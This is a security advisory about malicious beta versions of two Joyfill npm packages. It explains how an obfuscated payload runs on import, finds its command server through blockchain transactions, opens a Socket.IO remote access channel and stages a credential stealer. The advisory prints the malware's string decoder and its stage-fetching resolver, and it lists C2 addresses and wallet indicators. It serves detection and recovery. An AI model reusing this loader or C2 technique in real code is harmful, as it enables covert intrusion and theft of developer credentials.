On July 28, 2026, malicious beta versions of two Joyfill npm packages, @joyfill/components and @joyfill/layouts, were published to the npm registry. Both versions carry the same heavily obfuscated payload injected into the built distribution bundles. The code runs when an application imports the package, so npm install --ignore-scripts does not stop it. It exposes Node.js require and module on the global object, resolves a command and control server through a public blockchain transaction, opens a Socket.IO remote access channel, and stages a Python credential stealer. The packages are legitimate projects that were hijacked, and the malicious code lives only in the published tarballs.
StepSecurity confirmed the compromise three ways. The StepSecurity OSS AI scan feed flagged @joyfill/layouts@0.1.2-2773.beta.0 as CRITICAL with a security score of 0 and a REJECTED verdict. We detonated all affected versions under Harden-Runner in a sandbox. We diffed the malicious builds against their clean siblings and extracted the injected payload on the runner.
Severity: Critical
Ecosystem: npm
Action required. If your repositories, CI/CD pipelines, or developer machines installed any 2773 prerelease of @joyfill/components or @joyfill/layouts, treat those environments as compromised. Remove the versions, pin to a known good release published before July 28, 2026, and rotate any credentials that were present on affected machines. Details are in Recovery Steps below.
The Compromised Packages
| Package | Compromised versions | Why flagged |
|---|---|---|
| @joyfill/components | 4.0.0-rc24-2773-beta.4, 4.0.0-rc24-2773-beta.5, 4.0.0-rc24-2773-beta.6 | Obfuscated payload appended to dist/index.js, dist/index.esm.js, and dist/joyfill.min.js |
| @joyfill/layouts | 0.1.2-2773.beta.0, 0.1.2-2773.beta.1, 0.1.2-2773.beta.2 | Obfuscated payload prepended to dist/index.cjs.js and dist/index.es.js |
How we confirmed it: the malicious dist bundles are the only place the code appears, there is no matching source change in the project, and the identical obfuscated block appears in both packages. That shared implant is a strong signal that one actor injected the same tool into both.

How the Attack Works
The loader runs on import, not on install
The payload is not a postinstall script. It is compiled into the package entry bundles, so it executes the moment a project imports the package. In @joyfill/layouts the block is prepended to the CommonJS and ES module entries. In @joyfill/components it is appended after roughly 3.2 MB of legitimate React code, which helps it hide in a large bundle.
Multi-layer string obfuscation
The first stage is a string shuffle decoder. A seeded loop swaps characters and then rebuilds hidden strings through character substitution, so static analysis for literal terms like socket.io or a wallet address finds nothing.
global["!"] = "9-0135-3";
var _$_1e42 = function(l, e) {
var h = l.length, g = [];
for (var j = 0; j < h; j++) { g[j] = l.charAt(j); }
for (var j = 0; j < h; j++) {
var s = e * (j + 489) + e % 19597;
var w = e * (j + 659) + e % 48014;
var t = s % h, p = w % h, y = g[t];
g[t] = g[p]; g[p] = y;
e = (s + w) % 4573868;
}
var x = String.fromCharCode(127);
return g.join("").split("%").join(x).split("#1").join("%").split("#0").join("#").split(x);
}("rmcej%otb%", 2857687);
global[_$_1e42[0]] = require;
if (typeof module === _$_1e42[1]) { global[_$_1e42[2]] = module; }The global["!"] = "9-0135-3" line is a campaign marker. The decoded global.r = require and global.m = module assignments hand the payload direct access to Node module loading, which it uses to pull in child_process, http, and other primitives without those names ever appearing in clear text.

Blockchain-based command and control resolution
Rather than hardcode a server, the payload reads a transaction from a fixed Tron address, follows it to a Binance Smart Chain transaction through eth_getTransactionByHash, decodes and XOR decrypts the transaction input, and evaluates the result as JavaScript. That indirection lets the operator rotate the live C2 address at any time by posting a new transaction, and it keeps the real server out of the package.
Socket.IO remote access trojan and a second stage
The resolved stage configures a Socket.IO client to the C2 and registers a command handler with verbs for host info, file upload and download, directory listing, and arbitrary code execution (ss_info, ss_eval, ss_upf, ss_upd, ss_dir, and more). In parallel it spawns a detached node -e child that requests /$/boot from a second host and XOR decrypts the response, so the two stages run independently.
Persistence and a Python credential stealer
The trojan persists by inserting a self reloading block into files that developer tools run routinely, including the @vscode/deviceid module used by VS Code, Cursor, and Antigravity, the Discord desktop core module, GitHub Desktop main.js, and the global npm CLI. It also stages a Python infostealer that collects browser data, browser extension wallets and password managers, Git and GitHub CLI credentials, and OS keychains, packs them into an encrypted archive, and uploads them to the C2. The real target is the developer workstation, not the CI runner.
Runtime Validation with StepSecurity Harden-Runner
We detonated all six 2773 versions in a sandbox under Harden-Runner with egress policy set to audit, covering both install time and import time, with CI environment markers stripped so any CI evasion check would still fire.
What the runs showed:
- Install produced no scripts and no child processes, which matches an import time trigger rather than a
postinstallhook. - Importing the package loaded the compromised bundle. We held the Node process open so any asynchronous beacon had time to run.
- Detonating the payload directly captured the blockchain based command and control resolution executing live. Under Harden-Runner the Node process reached out to
api.trongrid.io, then the Binance Smart Chain RPCsbsc-dataseed.binance.organdbsc-rpc.publicnode.com, withfullnode.mainnet.aptoslabs.comas a fallback, and recovered a second stage payload from the attacker on-chain transaction. This confirms the command and control infrastructure was live and reachable.
The captured calls match the payload deobfuscated resolver, which reads a Tron transaction, follows it to a Binance Smart Chain transaction, XOR decrypts the transaction input, and evaluates the result:
async function recoverStage(xorKey, tronAddress) {
const tron = await fetchJson(
"https://api.trongrid.io/v1/accounts/" + tronAddress +
"/transactions?only_confirmed=true&only_from=true&limit=1");
const txHash = Buffer.from(tron.data[0].raw_data.data, "hex")
.toString("utf8").split("?.?").reverse().join("");
const rpc = await rpcCall("eth_getTransactionByHash",
[txHash], "bsc-dataseed.binance.org");
const stage = Buffer.from(rpc.result.input.slice(2), "hex")
.toString("utf8").split("?.?")[1];
return xorDecode(xorKey, stage);
}
To prove the malicious code is present rather than assume it, we installed each 2773 version next to its clean sibling with --ignore-scripts and diffed the entry bundles on the runner. The diff surfaced the obfuscated block in the malicious builds only, and we extracted the decoder and the global.r = require assignment shown above directly from the installed tarball. The StepSecurity OSS AI scan feed independently reached the same conclusion for @joyfill/layouts, reporting roughly 333 lines of obfuscated malicious code across the ES module and CommonJS bundles.

Indicators of Compromise
Compromised package versions
@joyfill/components@4.0.0-rc24-2773-beta.4,@4.0.0-rc24-2773-beta.5,@4.0.0-rc24-2773-beta.6@joyfill/layouts@0.1.2-2773.beta.0,@0.1.2-2773.beta.1,@0.1.2-2773.beta.2
Command and control infrastructure
166.88.134.62(ports 443 and 80)23.27.13.43(serves /$/boot)198.105.127.21023.27.202.27
C2 request paths: /$/boot, /u/e, /u/f, /0x/js, /verify-human/, /snv
Blockchain and lookup endpoints: api.trongrid.io, fullnode.mainnet.aptoslabs.com, bsc-dataseed.binance.org, bsc-rpc.publicnode.com, ip-api.com
Tron addresses: TMfKQEd7TJJa5xNZJZ2Lep838vrzrs7mAP, TXfxHUet9pJVU1BgVkBAbrES4YUc1nGzcG, TA48dct6rFW8BXsiLAtjFaVFoSuryMjD3v
File hashes (SHA-256)
- Final Socket.IO RAT:
26351aed0397158d3a3b8cc8fd3047d4c015d264c9895f10f20f1521b974ed18 - Python credential stealer:
36ff00b45e67baa7e3674b0c80f48e88737264c61e5c6b3b091200972de8157c
Host behaviors
- The 9-0135-3 campaign marker and a
Sec-V: A9-0135-3request header - Self reloading blocks tagged C250617A, C250618A, C250619A, C250620A, C260511A, C260512A, and RS260605 inside developer tool files
- Credential staging under
%USERPROFILE%\.npmor/tmp/.npmand an encrypted archive - Blockchain command and control resolution from Tron accounts
TMfKQEd7TJJa5xNZJZ2Lep838vrzrs7mAPandTXfxHUet9pJVU1BgVkBAbrES4YUc1nGzcG, with Aptos fallback accounts0xbe037400670fbf1c32364f762975908dc43eeb38759263e7dfcdabc76380811eand0x3f0e5781d0855fb460661ac63257376db1941b2bb522499e4757ecb3ebd5dce3
Am I Affected?
CI/CD pipelines. Check your Harden-Runner organization baseline for any outbound calls to the C2 hosts or the blockchain lookup endpoints listed above. Anomalous network calls to 166.88.134.62, 23.27.13.43, api.trongrid.io, or bsc-dataseed.binance.org from a node process during install or test are a strong signal.
Developer machines. Dev Machine Guard can detect the compromised npm packages installed on developer laptops and the suspicious files this campaign drops. The credential stealer targets workstations directly, so this is the highest priority surface.
Code repositories. Grep your lockfiles for any 2773 prerelease of either package.
grep -rEn 'joyfill.*2773' package-lock.json yarn.lock pnpm-lock.yamlRecovery Steps
- Remove the compromised versions and pin to a release published before July 28, 2026.
npm install @joyfill/components@4.0.0-rc24 @joyfill/layouts@0.1.1- Delete
node_modulesand reinstall from a clean lockfile so the injected bundle is gone. - On any developer machine that imported the package, inspect the developer tool files listed above for the injected marker tags and reinstall the affected applications if found.
- Rotate credentials that were present on affected machines, including browser stored secrets, Git and GitHub tokens, npm tokens, and any wallet keys.
- Review outbound network logs for connections to the C2 hosts and blockchain lookup endpoints.
How StepSecurity Protects Against This
Harden-Runner records every process, file, and network event in your CI/CD jobs. In audit mode it flags outbound calls that are not in your baseline, which is exactly how a blockchain lookup or a C2 callout stands out. In block mode it denies any destination that is not on your allowlist, so a newly resolved C2 address is blocked by default.
npm Package Cooldown and Compromised Package checks stop a newly published or known malicious version from entering your repositories through a pull request.
Dev Machine Guard discovers the npm packages installed on developer machines and detects the suspicious files this campaign drops, which covers the workstation surface the stealer is built to attack.
Check if these packages are in your environment
StepSecurity checks your repositories, CI/CD pipelines, and developer machines for compromised packages like the ones in this Joyfill campaign.
Start FreeRequest a Demo


.png)
